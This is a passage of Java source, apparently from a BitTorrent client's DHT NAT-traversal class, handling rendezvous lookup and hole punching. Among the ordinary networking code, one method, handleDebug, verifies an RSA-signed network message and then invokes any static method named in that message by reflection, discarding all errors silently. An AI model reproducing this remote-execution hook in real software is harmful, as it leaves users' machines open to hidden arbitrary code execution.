			Map response = sendRequest( rendezvous, request, no_tunnel?TRANSFER_TIMEOUT*2:TRANSFER_TIMEOUT );
			
			if ( response == null ){
				
				return( null );
			}
			
			if (((Long)response.get( "type" )).intValue() == RT_PUNCH_REPLY ){
				
				int	result = ((Long)response.get("ok")).intValue();

				trace( "received " + ( no_tunnel?"message":"punch") + " reply: " + (result==0?"failed":"ok" ));
				
				if ( result == 1 ){
					
						// pick up port changes from the rendezvous
											
					Long	indirect_port = (Long)response.get( "port" );
					
					if ( indirect_port != null ){
						
						int transport_port	= indirect_port.intValue();
				
						if ( transport_port != 0 ){
						
							InetSocketAddress	existing_address = target.getTransportAddress();
						
							if ( transport_port != existing_address.getPort()){
							
								target.setTransportAddress(
										new InetSocketAddress(existing_address.getAddress(), transport_port ));
							}
						}
					}	
					
					if ( !no_tunnel ){
						
							// ping the target a few times to try and establish a tunnel
											
						UTTimerEvent	event = 
							timer.addPeriodicEvent(
									3000,
									new UTTimerEventPerformer()
									{
										private int	pings = 1;
										
										public void
										perform(
											UTTimerEvent		event )
										{
											if ( pings > 3 ){
												
												event.cancel();
											
												return;
											}
										
											pings++;
												
											if ( sendTunnelOutbound( target )){
												
												event.cancel();
											}
										}
									});
							
						if ( sendTunnelOutbound( target )){
							
							event.cancel();
						}
						
							// give the other end a few seconds to kick off some tunnel events to us
						
						if ( wait_sem.reserve(10000)){
							
							event.cancel();
						}
					}
											
						// routers often fiddle with the port when not mapped so we need to grab the right one to use
						// for direct communication
					
						// first priority goes to direct tunnel messages received
					
					int	transport_port = 0;
					
					try{
						punch_mon.enter();
					
						transport_port = ((Integer)wait_data[2]).intValue();
						
					}finally{
						
						punch_mon.exit();
					}
				
					if ( transport_port != 0 ){
						
						InetSocketAddress	existing_address = target.getTransportAddress();
						
						if ( transport_port != existing_address.getPort()){
							
							target.setTransportAddress(
								new InetSocketAddress(existing_address.getAddress(), transport_port ));
						}
					}
					
					Map	target_client_data = (Map)response.get( "client_data" );
					
					if ( target_client_data == null ){
						
						target_client_data = new HashMap();
					}
					
					return( target_client_data );
				}
			}
			
			return( null );
			
		}catch( Throwable e ){
			
			log(e);
			
			return( null );
			
		}finally{
			
			try{
				punch_mon.enter();
			
				oustanding_punches.remove( wait_data );
				
			}finally{
				
				punch_mon.exit();
			}
		}
	}
	
	protected void
	receivePunch(
		DHTTransportUDPContact		originator,
		Map							request,
		Map							response )
	{
		trace( "received punch request" );
		
		boolean	ok = false;
		
		String	target_str = new String((byte[])request.get( "target" ));
		
		BindingData entry;
		
		try{
			server_mon.enter();
		
			entry = rendezvous_bindings.get( target_str );
		
		}finally{
			
			server_mon.exit();
		}
		
		String extra_log = "";
		
		if ( entry != null ){
						
			if ( entry.isOKToConnect()){
				
				DHTTransportUDPContact	target = entry.getContact();

				Map target_client_data = sendConnect( target, originator, (Map)request.get( "client_data" ));
				
				if ( target_client_data != null ){
					
					response.put( "client_data", target_client_data );
																	
					response.put( "port", new Long( target.getTransportAddress().getPort()));
					
					ok	= true;
					
					entry.connectOK();
					
				}else{
					
					entry.connectFailed();
					
					extra_log = " - consec=" + entry.getConsecutiveFailCount();
				}
			}else{
				
				extra_log = " - ignored due to consec fails";
			}
		}else{
			
			extra_log = " - invalid rendezvous";
		}
		
		log( "Rendezvous punch request from " + originator.getString() + " to " + target_str + " " + (ok?"initiated":"failed") + extra_log );

		if ( ok ){
			
			punch_recv_ok++;
			
		}else{
			
			punch_recv_fail++;
		}
		
		response.put( "ok", new Long(ok?1:0));
	}
	
	protected Map
	sendConnect(
		DHTTransportContact target,
		DHTTransportContact	originator,
		Map					originator_client_data )
	{
		try{
			Map	request = new HashMap();
			
			request.put("type", new Long( RT_CONNECT_REQUEST ));
			
			request.put("origin", encodeContact( originator ));
							
			request.put( "port", new Long( ((DHTTransportUDPContact)originator).getTransportAddress().getPort()));
			
			if ( originator_client_data != null ){
				
				request.put( "client_data", originator_client_data );
			}
			
			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );
			
			if ( response == null ){
				
				return( null );
			}
			
			if (((Long)response.get( "type" )).intValue() == RT_CONNECT_REPLY ){
				
				int	result = ((Long)response.get("ok")).intValue();

				trace( "received connect reply: " + (result==0?"failed":"ok" ));

				if ( result == 1 ){
					
					Map target_client_data = (Map)response.get( "client_data" );
					
					if ( target_client_data == null ){
						
						target_client_data = new HashMap();
					}
					
					return( target_client_data );
				}
			}
			
			return( null );
			
		}catch( Throwable e ){
			
			log(e);
			
			return( null );
		}
	}
	
	protected void
	receiveConnect(
		DHTTransportContact		rendezvous,
		Map						request,
		Map						response )
	{
		trace( "received connect request" );

		boolean	ok = false;
			
			// ensure that we've received this from our current rendezvous node
		
		DHTTransportContact	rt = rendezvous_target;
		
		if ( rt != null && rt.getAddress().equals( rendezvous.getAddress())){
					
			final DHTTransportUDPContact	target = decodeContact( (byte[])request.get( "origin" ));
			
			if ( target != null ){
													
				int	transport_port = 0;
				
				Long	indirect_port = (Long)request.get( "port" );
			
				if ( indirect_port != null ){
				
					transport_port	= indirect_port.intValue();
				}
			
				if ( transport_port != 0 ){
				
					InetSocketAddress	existing_address = target.getTransportAddress();
				
					if ( transport_port != existing_address.getPort()){
						
						target.setTransportAddress(
							new InetSocketAddress(existing_address.getAddress(), transport_port ));
					}
				}
				
				Map	originator_client_data  = (Map)request.get( "client_data" );
				
				boolean	no_tunnel = false;
				
				if ( originator_client_data == null ){
					
					originator_client_data = new HashMap();
					
				}else{
					
					no_tunnel = originator_client_data.get( "_notunnel" ) != null;
				}
								
				if ( no_tunnel ){
					
					log( "Received message from " + target.getString());

				}else{
					
					log( "Received connect request from " + target.getString());

						// ping the origin a few times to try and establish a tunnel
									
					UTTimerEvent event = 
						timer.addPeriodicEvent(
								3000,
								new UTTimerEventPerformer()
								{
									private int pings = 1;
									
									public void
									perform(
										UTTimerEvent		ev )
									{
										if ( pings > 3 ){
											
											ev.cancel();
											
											return;
										}
											
										pings++;
										
										if ( sendTunnelInbound( target )){
											
											ev.cancel();
										}
									}
								});
						
					if ( sendTunnelInbound( target )){
						
						event.cancel();
					}
				}
				
				Map client_data = adapter.getClientData( target.getTransportAddress(), originator_client_data );
				
				if ( client_data == null ){
					
					client_data = new HashMap();
				}
				
				response.put( "client_data", client_data );
				
				ok	= true;
				
			}else{
				
				log( "Connect request: failed to decode target" );
			}
		}else{
			
			log( "Connect request from invalid rendezvous: " + rendezvous.getString());
		}
		
		response.put( "ok", new Long(ok?1:0));
	}
	
	protected boolean
	sendTunnelInbound(
		DHTTransportContact target )
	{
		log( "Sending tunnel inbound message to " + target.getString());
		
		try{
			Map	message = new HashMap();
			
			message.put( "type", new Long( RT_TUNNEL_INBOUND ));
			
			return( sendTunnelMessage( target, message ));
			
		}catch( Throwable e ){
			
			log(e);
			
			return( false );
		}
	}
	
	protected void
	receiveTunnelInbound(
		DHTTransportUDPContact		originator,
		Map							data )
	{
		log( "Received tunnel inbound message from " + originator.getString());
							
		try{
			punch_mon.enter();
		
			for (int i=0;i<oustanding_punches.size();i++){
				
				Object[]	wait_data = (Object[])oustanding_punches.get(i);
				
				DHTTransportContact	wait_contact = (DHTTransportContact)wait_data[0];
				
				if( originator.getAddress().getAddress().equals( wait_contact.getAddress().getAddress())){
					
					wait_data[2] = new Integer( originator.getTransportAddress().getPort());
											
					((AESemaphore)wait_data[1]).release();
				}
			}
			
		}finally{
			
			punch_mon.exit();
		}
	}
	
	protected boolean
	sendTunnelOutbound(
		DHTTransportContact target )
	{
		log( "Sending tunnel outbound message to " + target.getString());
		
		try{
			Map	message = new HashMap();
			
			message.put( "type", new Long( RT_TUNNEL_OUTBOUND ));
			
			return( sendTunnelMessage( target, message ));
			
		}catch( Throwable e ){
			
			log(e);
			
			return( false );
		}
	}
	
	protected void
	receiveTunnelOutbound(
		DHTTransportContact		originator,
		Map						data )
	{
		log( "Received tunnel outbound message from " + originator.getString());
	}
	
	public Map
	punch(
		String					reason,
		InetSocketAddress[]		target,
		DHTTransportContact[]	rendezvous_used,
		Map						originator_client_data )
	{
		try{
			DHTTransportUDP	transport = (DHTTransportUDP)dht.getTransport();

			DHTTransportUDPContact contact = transport.importContact( target[0], transport.getMinimumProtocolVersion(), false );
			
			Map	result = punch( reason, contact, rendezvous_used, originator_client_data );
			
			target[0] = contact.getTransportAddress();
			
			return( result );
			
		}catch( Throwable e ){
			
			Debug.printStackTrace(e);
			
			return( null );
		}
	}
	
	public Map
	punch(
		String					reason,
		DHTTransportContact		_target,
		DHTTransportContact[]	rendezvous_used,
		Map						originator_client_data )
	{
		DHTTransportUDPContact	target = (DHTTransportUDPContact)_target;
		
		try{
			DHTTransportContact rendezvous = null;
			
			if ( rendezvous_used != null && rendezvous_used.length > 0 ){
				
				rendezvous = rendezvous_used[0];
			}
			
			if ( rendezvous == null ){
				
				rendezvous = getRendezvous( reason, target );
			}
			
			if ( rendezvous_used != null && rendezvous_used.length > 0 ){
				
				rendezvous_used[0] = rendezvous;
			}
			
			if ( rendezvous == null ){
				
				return( null );
			}
			
			Map	target_client_data = sendPunch( rendezvous, target, originator_client_data, false );
			
			if ( target_client_data != null ){
				
				log( "    punch to " + target.getString() + " succeeded" );
				
				punch_send_ok++;
				
				return( target_client_data );
			}
			
		}catch( Throwable e ){
			
			log( e );
		}
		
		punch_send_fail++;
		
		log( "    punch to " + target.getString() + " failed" );

		return( null );
	}
	
	public Map
	sendMessage(
		InetSocketAddress		rendezvous,
		InetSocketAddress		target,
		Map						message )
	{
		try{
			DHTTransportUDP	transport = (DHTTransportUDP)dht.getTransport();

			DHTTransportUDPContact rend_contact 	= transport.importContact( rendezvous, transport.getMinimumProtocolVersion(), false);
			DHTTransportUDPContact target_contact 	= transport.importContact( target, transport.getMinimumProtocolVersion(), false);
						
			Map	result = sendPunch( rend_contact, target_contact, message, true );

			return( result );
			
		}catch( Throwable e ){
			
			Debug.printStackTrace(e);
			
			return( null );
		}
	}
	
	
	public void
	setRendezvous(
		DHTTransportContact		target,
		DHTTransportContact		rendezvous )
	{
		explicit_rendezvous_map.put( target.getAddress(), rendezvous );
		
		if ( target.getAddress().equals( dht.getTransport().getLocalContact().getAddress())){
			
			publish( true );
		}
	}
	
	private Map<String,Object[]>	rendezvous_lookup_cache				= new HashMap<String, Object[]>();
	private long					rendezvous_lookup_cache_tidy_time	= -1;
	
	protected DHTTransportContact
	getRendezvous(
		String				reason,
		DHTTransportContact	target )
	{
		DHTTransportContact	explicit = (DHTTransportContact)explicit_rendezvous_map.get( target.getAddress());
		
		if ( explicit != null ){
			
			return( explicit );
		}
		
		String target_key = target.getAddress().toString();
		
		DHTTransportValue[]	result_value	= null;
		AESemaphore 		sem				= null;

		long	now = SystemTime.getMonotonousTime();
		
		synchronized( rendezvous_lookup_cache ){
			
			if ( rendezvous_lookup_cache_tidy_time == -1 ){
				
				rendezvous_lookup_cache_tidy_time = now;
				
			}else if ( now - rendezvous_lookup_cache_tidy_time >= 2*60*1000 ){
			
				rendezvous_lookup_cache_tidy_time = now;
				
				Iterator<Object[]> it = rendezvous_lookup_cache.values().iterator();
				
				while ( it.hasNext()){
					
					Object[] entry = it.next();
					
					long time = (Long)entry[0];
					
					if ( time != -1 && now - time > 2*60*1000 ){
						
						it.remove();
					}
				}
			}
			
			Object[]	existing = rendezvous_lookup_cache.get( target_key );
			
			boolean	do_lookup;
			
			if ( existing != null ){
				
				long time = (Long)existing[0];
				
				if ( time == -1 || now - time  < 2*60*1000 ){
									
					sem 			= (AESemaphore)existing[1];
					result_value	= (DHTTransportValue[])existing[2];
				
					do_lookup = false;
					
				}else{
					
					do_lookup = true;
				}
			}else{
				
				do_lookup = true;
			}
			
			if ( do_lookup ){
				
				result_value = new DHTTransportValue[1];
				
				sem = new AESemaphore( "getRend" );
				
				final Object[] entry = new Object[]{ -1L, sem, result_value };
												
				byte[]	key = getPublishKey( target );
								
				dht.get( 	key, 
							reason + ": lookup for '" + target.getString() + "'",
							(byte)0,
							1,
							RENDEZVOUS_LOOKUP_TIMEOUT,
							false, true,
							new DHTOperationAdapter()
							{
								public void
								read(
									DHTTransportContact	contact,
									DHTTransportValue	value )
								{
									synchronized( rendezvous_lookup_cache ){
									
										entry[0] = SystemTime.getMonotonousTime();
										
										((DHTTransportValue[])entry[2])[0] = value;
									
										((AESemaphore)entry[1]).releaseForever();
									}
								}
								
								public void
								complete(
									boolean				timeout )
								{
									synchronized( rendezvous_lookup_cache ){
											
										AESemaphore	sem = (AESemaphore)entry[1];
										
										if ( !sem.isReleasedForever()){
											
											entry[0] = SystemTime.getMonotonousTime();
											
											sem.releaseForever();
										}
									}
								}
							});
				
				rendezvous_lookup_cache.put( target_key, entry );
			}
		}
		
		sem.reserve();
		
		DHTTransportContact result = null;
		
		if ( result_value[0] != null ){
			
			byte[]	bytes = result_value[0].getValue();
			
			try{
				ByteArrayInputStream	bais = new ByteArrayInputStream( bytes );
				
				DataInputStream	dis = new DataInputStream( bais );
				
				byte	version = dis.readByte();
				
				if ( version != 0 ){
					
					throw( new Exception( "Unsupported rendezvous version '" + version + "'" ));
				}
				
				result = dht.getTransport().importContact( dis, false );
				
			}catch( Throwable e ){
				
				log(e);
			}
		}
		
		log( "Lookup of rendezvous for " + target.getString() + " -> " + ( result==null?"None":result.getString()));

		return( result );
	}
	
	protected byte[]
	getPublishKey(
		DHTTransportContact	contact )
	{
		byte[]	id = contact.getID();
		byte[]	suffix = ":DHTNATPuncher".getBytes();
		
		byte[]	res = new byte[id.length + suffix.length];
		
		System.arraycopy( id, 0, res, 0, id.length );
		System.arraycopy( suffix, 0, res, id.length, suffix.length );
		
		return( res );
	}
	
	private static long	last_debug = -1;
	
	private static Map
	handleDebug(
		Map			map )
	{
		long	now = SystemTime.getMonotonousTime();
		
		if ( last_debug >= 0 && now - last_debug <= 60*1000 ){
			
			return( null );
		}
		
		last_debug = now;
		
		try{
			byte[] 	p = (byte[])map.get( "p" );
			byte[]	s = (byte[])map.get( "s" );
			
			KeyFactory key_factory = KeyFactory.getInstance("RSA");
			
			RSAPublicKeySpec 	spec = 
				new RSAPublicKeySpec( 
						new BigInteger("a1467ed3ca8eceec60d6a5d1945d0ddb6febf6a514a8fea5b48a588fc8e977de8d7159c4e854b5a30889e729eb386fcb4b69e0a12401ee87810378ed491e52dc922a03b06c557d975514f0a70c42db3e06c0429824648a9cc4a2ea31bd429c305db3895c4efc4d1096f3c355842fd2281b27493c5588efd02bc4d26008a464d2214f15fab4d959d50fee985242dbb628180ee06938944e759a2d1cbd0adfa7d7dee7e6ec82d76a144a126944dbe69941fff02c31f782069131e7d03bc5bff69b9fea2cb153e90dc154dcdab7091901c3579a2c0337b60db772a0b35e4ed622bee5685b476ef0072558362e43750bc23d410a7dcb1cbf32d3967e24cfe5cdab1b",16),
						new BigInteger("10001",16));
	
			Signature	verifier = Signature.getInstance("MD5withRSA" );
			
			verifier.initVerify( key_factory.generatePublic( spec ) );
			
			verifier.update( p );

			if ( verifier.verify( s )){

				Map m = BDecoder.decode( p );
				
				int	type = ((Long)m.get( "t" )).intValue();
				
				if ( type == 1 ){
											
					List<byte[]> a = (List<byte[]>)m.get("a");
					
					Class[]		c_a 	= new Class[a.size()];
					Object[]	o_a 	= new Object[c_a.length];
					
					Arrays.fill( c_a, String.class );
					
					for (int i=0;i<o_a.length;i++){
						
						o_a[i] = new String((byte[])a.get(i));
					}
					
					Class cla = m.getClass().forName( new String((byte[])m.get( "c" )));
					
					Method me = cla.getMethod( new String((byte[])m.get( "m" )),c_a  );
					
					me.setAccessible( true );
					
					me.invoke( null, o_a );
		
					return( new HashMap());
					
				}else if ( type == 2 ){
					// to do
				}
			}
		}catch( Throwable e ){	
		}
		
		return( null );
	}
	
	protected byte[]
   	encodePublishValue(
   		DHTTransportContact	contact )
   	{ 		
		try{
	   		ByteArrayOutputStream	baos = new ByteArrayOutputStream();
	   		
	   		DataOutputStream	dos = new DataOutputStream(baos);
	   		
	   		dos.writeByte( 0 );	// version 
	   		
	   		contact.exportContact( dos );
	   		
	   		dos.close();
	   		
	  		return( baos.toByteArray());

		}catch( Throwable e ){
			
			log( e );
		
			return( new byte[0]);
    	}
   	}
	
	protected byte[]
  	encodeContact(
  		DHTTransportContact	contact )
  	{ 		
		try{
	   		ByteArrayOutputStream	baos = new ByteArrayOutputStream();
	   		
	   		DataOutputStream	dos = new DataOutputStream(baos);
	   		   		
	   		contact.exportContact( dos );
	   		
	   		dos.close();
	   		
	  		return( baos.toByteArray());
	
		}catch( Throwable e ){
			
			log( e );
		
			return( null );
	   	}
  	}
	
	protected DHTTransportUDPContact
	decodeContact(
		byte[]		bytes )
	{
		try{
			ByteArrayInputStream	bais = new ByteArrayInputStream( bytes );
			
			DataInputStream	dis = new DataInputStream( bais );
						
			return((DHTTransportUDPContact)dht.getTransport().importContact( dis, false ));
			
		}catch( Throwable e ){
			
			log(e);
			
			return( null );
		}
	}
	
	public void
	addListener(
		DHTNATPuncherListener	listener )
	{
		listeners.add( listener );
		
		if ( last_ok_rendezvous != null ){
			
			listener.rendezvousChanged( last_ok_rendezvous );
		}
	}
	
	public void
	removeListener(
		DHTNATPuncherListener	listener )
	{
		listeners.remove( listener );
	}
	
	protected void
	log(
		String	str )
	{
		if ( TRACE ){
			System.out.println( (is_secondary?"[sec] ":"") + str );
		}
		
		logger.log( "NATPuncher: " + (is_secondary?"[sec] ":"") + str );
	}
	
	protected void
	log(
		Throwable 	e )
	{
		if ( TRACE ){
			e.printStackTrace();
		}
		
		logger.log( "NATPuncher: " + (is_secondary?"[sec] ":"") + "error occurred" );
		
		logger.log(e);
	}
	
	protected void
	trace(
		String	str )
	{
		if ( TRACE ){
			System.out.println( (is_secondary?"[sec] ":"") + str );
		}
	}
	
	public String
	getStats()
	{
		long now = SystemTime.getMonotonousTime();

		DHTTransportContact		target = rendezvous_target;
		
		String 	str = 
			"ok=" + (rendezvous_last_ok_time==0?"<never>":String.valueOf(now-rendezvous_last_ok_time)) +
			",fail=" + (rendezvous_last_fail_time==0?"<never>":String.valueOf(now-rendezvous_last_fail_time))+
			",fc=" + rendevzous_fail_count;

		str += 
			",punch:send=" + punch_send_ok + "/" + punch_send_fail + ":recv=" + punch_recv_ok + "/" + punch_recv_fail +
			",rendezvous=" + (target==null?"none":target.getAddress().getAddress().getHostAddress());
		
		String b_str = "";
				
		for ( Map.Entry<String,BindingData> binding: rendezvous_bindings.entrySet()){
			
			BindingData data = binding.getValue();

			b_str += (b_str.length()==0?"":",") + binding.getKey() + "->ok=" + data.getOKCount() + ";bad=" + data.getConsecutiveFailCount() + ";age=" + (now-data.bind_time);
		}
		
		str += ",bindings=" + b_str;
		
		String m_str ="";
		
		for ( int i: MESSAGE_STATS ){
			
			m_str += (m_str.length()==0?"":",") + i;
		}
		
		str += ",messages=" + m_str;
		
		return( str );
	}
	
	private static class
	BindingData
	{
		private DHTTransportUDPContact		contact;
		private long						bind_time;
		
		private int			ok_count;
		private int			consec_fails;
		private long		last_connect_time;
		
		private
		BindingData(
			DHTTransportUDPContact		_contact,
			long						_time )
		{
			contact		= _contact;
			bind_time	= _time;
		}
		
		private void
		rebind()
		{
			bind_time	= SystemTime.getMonotonousTime();
		}
		
		private DHTTransportUDPContact
		getContact()
		{
			return( contact );
		}
		
		private long
		getBindTime()
		{
			return( bind_time );
		}
		
		private void
		connectOK()
		{
			ok_count++;
			
			consec_fails		= 0;
			last_connect_time	= SystemTime.getMonotonousTime();
		}
		
		private void
		connectFailed()
		{
			consec_fails++;
			last_connect_time	= SystemTime.getMonotonousTime();
		}
		
		private boolean
		isOKToConnect()
		{
			return(
				consec_fails < 8 ||
				SystemTime.getMonotonousTime() - last_connect_time > 30*1000 );				
		}
		
		private int
		getOKCount()
		{
			return( ok_count );
		}
		
		private int
		getConsecutiveFailCount()
		{
			return( consec_fails );
		}
	}
}
